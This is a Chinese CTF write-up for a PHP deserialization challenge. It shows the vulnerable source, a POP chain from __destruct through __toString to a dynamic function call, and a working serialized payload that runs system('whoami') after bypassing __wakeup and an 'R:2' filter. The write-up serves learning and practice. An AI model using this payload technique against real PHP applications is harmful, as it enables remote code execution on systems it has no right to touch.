当前位置: 首页 > news >正文

“铸网2025”山东省工业和互联网CTF竞赛-web

源码

<?php
highlight_file(__FILE__);
class MGkk8
{public $a;public $b;public function rpl2(){$b = $this->b;if ($this->a == "RPG") {($b->a)($b->b."");}}
}
class KOkjs
{public $a;public $b;public function __toString(){$this->a->rpl2();}
}
class u1Y7U
{public $a;public $b;public function __toString(){$this->a->TiYM6();}
}
class QMRb7
{public $a;public $b;public function TiYM6(){$this->b->learn();}
}
class y97pu
{public $a;public $b;public $c;public function __invoke(){$this->a = $this->b."__INVOKE__";}public function __destruct(){$this->b = $this->c;die($this->a);}public function __wakeup(){$this->a = "";}
}
class m1_99
{public $a;public $b;public function __call($t1,$t2){$s1 = $this->b;$s1();}
}if(isset($_REQUEST['a'])){$c = $_REQUEST['a'];if(stripos($c,'R:2')!== false){die("no Reference");}unserialize($c);
}else {}

在现场没做出来,怎么也绕不过去那个wakeup,也没想明白那个检测R:2是为什么,回来在本地复现了一下感觉还是蛮简单的

首先明确pop链

MGkk8.rp12() -> KOkjs.__toString() -> y97pu.__destruct()

链子还是很简单的

关于y97pu.__destruct()中触发KOkjs.__toString()的原理,先看php手册,die()就是exit()

图片

说明了如果exit当中有字符串的话会先将字符串打印再结束程序,在本地测试一下

图片

是可以触发类中的__toString的,因此可以从y97pu.__destruct()链到KOkjs.__toString()

php在反序列化时如果有wakeup,那么会先执行wakeup再进行unserialize,题目中的wakeup将a给置空了,因此在反序列化时a就为空,无法触发链条,那么该怎么绕过呢?

注意到,在y97pu.__destruct()中的die()之前有一个将c赋给b的操作,于是我们可以用引用将$a->b 设置为 $a->a 的引用,于是$a->b 现在和 $a->a 指向同一块内存,这时我们修改b的值的时候就相当于在修改a的值,就可以通过$this->b = $this->c;将c的值通过b赋给a,进而触发链条,我们可以构造以下链条:

<?php
error_reporting(0);
class MGkk8
{public $a = 'RPG';public $b;
}
class KOkjs
{public $a;public $b;
}
class u1Y7U
{public $a;public $b;
}
class QMRb7
{public $a;public $b;
}
class y97pu
{public $a;public $b;public $c;
}
class m1_99
{public $a;public $b;
}$a = new y97pu();
$a -> b = &$a -> a;
$a -> c= new KOkjs();
$a -> c = new KOkjs();
$a -> c -> a = new MGkk8();
$a -> c -> a -> b = new QMRb7();
$a -> c -> a -> b -> a = 'system';
$a -> c -> a -> b -> b = 'whoami';echo serialize($a);
//O:5:"y97pu":3:{s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}s:1:"b";N;s:1:"a";R:9;}

但是这里出现了R:2,那么这个R:2该怎么绕过呢?

php对象的序列化是按顺序处理的,序列化时会依次对进行序列化的对象创建一个编号,这里b引用的是第二个被序列化的对象也就是a,因此就是R:2,知道了R后面数字的含义,绕过就很简单了,只需要将y97pu中的a和c换个位置就会改变序列化的顺序,从而让R后面的数字改变

payload:

<?php
error_reporting(0);
class MGkk8
{public $a = 'RPG';public $b;
}
class KOkjs
{public $a;public $b;
}
class u1Y7U
{public $a;public $b;
}
class QMRb7
{public $a;public $b;
}
class y97pu
{//这里将a和c的位置交换了public $c;public $b;public $a;
}
class m1_99
{public $a;public $b;
}$a = new y97pu();//new y97pu() : 1
$a -> c= new KOkjs();//new KOkjs() :2
$a -> b = &$a -> a;//a : 9
$a -> c = new KOkjs();//new KOkjs() : 3
$a -> c -> a = new MGkk8();//new MGkk8() : 4
//$a -> c -> a -> a = 'RPG';//a : 5
$a -> c -> a -> b = new QMRb7();//b : 6
$a -> c -> a -> b -> a = 'system';//a : 7
$a -> c -> a -> b -> b = 'whoami';//b : 8echo serialize($a);
//O:5:"y97pu":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}}
http://www.hskmm.com/?act=detail&tid=17771

相关文章:

  • 领嵌iLeadE-588网关AI边缘计算盒子一键部署二次开发
  • 2025年值得选的文件摆渡系统品牌解析
  • 全球知名的Java Web开发平台Vaadin上线慧都网!
  • C#实现与欧姆龙PLC通信
  • linux docker 配置外网拉镜像
  • 什么是跨网文件摆渡系统?IT运维效率提升300%的秘密武器
  • 借助Aspose.Email,在 Python中创建事件日历
  • 实用指南:【JavaEE初阶】多线程重点知识以及常考的面试题-多线程进阶(三)
  • C++ map 和unordered_map 的区别
  • 【英语启蒙动画合集】0基础宝宝必看的动画,超全!直接下载~
  • 基于OPC UA协议的SIMATIC PLC通信实现
  • AI 自动化智能体训练营 | 借助人工智能提升工作效率,打造自己的智能体工作流
  • MX-X21
  • Kubernetes Cilium网络组件和CoreDNS配置
  • 题解:P10107 [GDKOI2023 提高组] 树
  • Gitee Wiki:AI赋能的下一代研发知识管理平台如何重塑软件行业协作范式
  • COLMAP 安装在ubuntu20服务器上问题解决全记录
  • 完整教程:Prompt Tuning提示词微调工程
  • Autodesk Moldflow 2026下载地址与安装教程
  • 程序员利用Python分析股票赚钱,开发了股票行情看板
  • 9.26
  • K8S Deployment 学习
  • 全面掌握 Py2neo 与 Neo4j:从容器化部署到高级应用实战 - 详解
  • 原型
  • 集训队作业1——qoj#11722
  • 如何设置将浏览器网页临时禁用网页mathjax渲染直接查看latex编译前的文本
  • 《IDEA 2025破解 长效使用指南:2099 年有效期配置实战之JetBrains全家桶有效》​
  • Helloworld
  • 基于菲涅尔积分的角锥喇叭方向图计算
  • Flask的ORM工具SQLAlchemy